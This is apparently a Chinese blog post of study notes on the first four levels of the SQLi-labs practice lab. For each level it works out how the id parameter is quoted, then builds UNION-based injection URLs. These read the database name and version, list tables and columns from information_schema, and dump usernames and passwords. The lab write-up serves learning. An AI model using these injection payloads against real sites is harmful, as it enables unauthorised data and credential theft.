• SQLILABS学习笔记(一)


    逼话少说,如有错误,烦请指出,谢谢。

    第一关

    提示传个id的参数

    后面跟个单引号

    http://10.2.10.31/sqli/Less-1/?id=1

     

    发现报错,这里看到是已经闭合了

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

    从报错内容中可以看出id传入的是str类型,可以分解成这样来看

    传递了一个1‘的参数,并且1’的参数用单引号包裹,最后再最外层一层单引号

    '  '  1'   ' LIMIT 0,1  '

    然后再进行order by 来排序确定字段数

    http://10.2.10.31/sqli/Less-1/?id=1' order by 3 --+ 返回正常

    http://10.2.10.31/sqli/Less-1/?id=1' order by 4 --+ 返回错误

    可以确定字段数为3

    联合注入查询

    后采用联合注入查看当前数据库名和数据库版本号

    查询时发现只返回前面一条的查询数据,那就把id=-1,让前面的查询为空,就会返回后面的查询结果

    http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,database(),version() --+

    跨库查询表内的表名

    http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security'  --+

    group_concat这个函数可以将多个字符串连接成一个字符串,就可以实现把表名一条输出出来

    查询user字段的内容:

    http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'  --+

     

    查询username 和password的值

    http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,username,password from users --+

     

    第一关就到这里结束。

    第二关

    http://10.2.10.31/sqli/Less-2/?id=1%27

     报错信息

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
     
     
    发现多出来一个单引号,本来就是闭合的,把单引号删掉,按照之前的操作就行了
     
     
    第二关结束
     
     
    第三关
     
     
    测试注入点
     
     
    http://10.2.10.31/sqli/Less-3/?id=1'
     
     
    报错信息
     
     
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

    发现有括号闭合,那就变成

    http://10.2.10.31/sqli/Less-3/?id=1’)

    报错信息

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') LIMIT 0,1' at line 1

    这时候就已经闭合了,就按着之前的操作,就解决了

     

    第三关结束

    第四关

    测试注入点

    http://10.2.10.31/sqli/Less-4/?id=1'

    发现没有报错

    改成用双引号

    http://10.2.10.31/sqli/Less-4/?id=1"

    报错信息

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

    那就用http://10.2.10.31/sqli/Less-4/?id=1")闭合

    按照之前的操作,就可以完成

    第四关结束

  • 相关阅读:
    MySQL安装图解
    程序员感触
    一个人的生活
    开始懂了
    limit 检索记录行
    Ajax的完整兼容各种浏览器版本代码
    java.lang.UnsupportedClassVersionError: Unsupported major.minor version 49.0的错误 [转]
    通信协议
    SDK
    毕业三个多月的感悟
  • 原文地址:https://www.cnblogs.com/qxxaq/p/11454064.html
Copyright © 2020-2023  润新知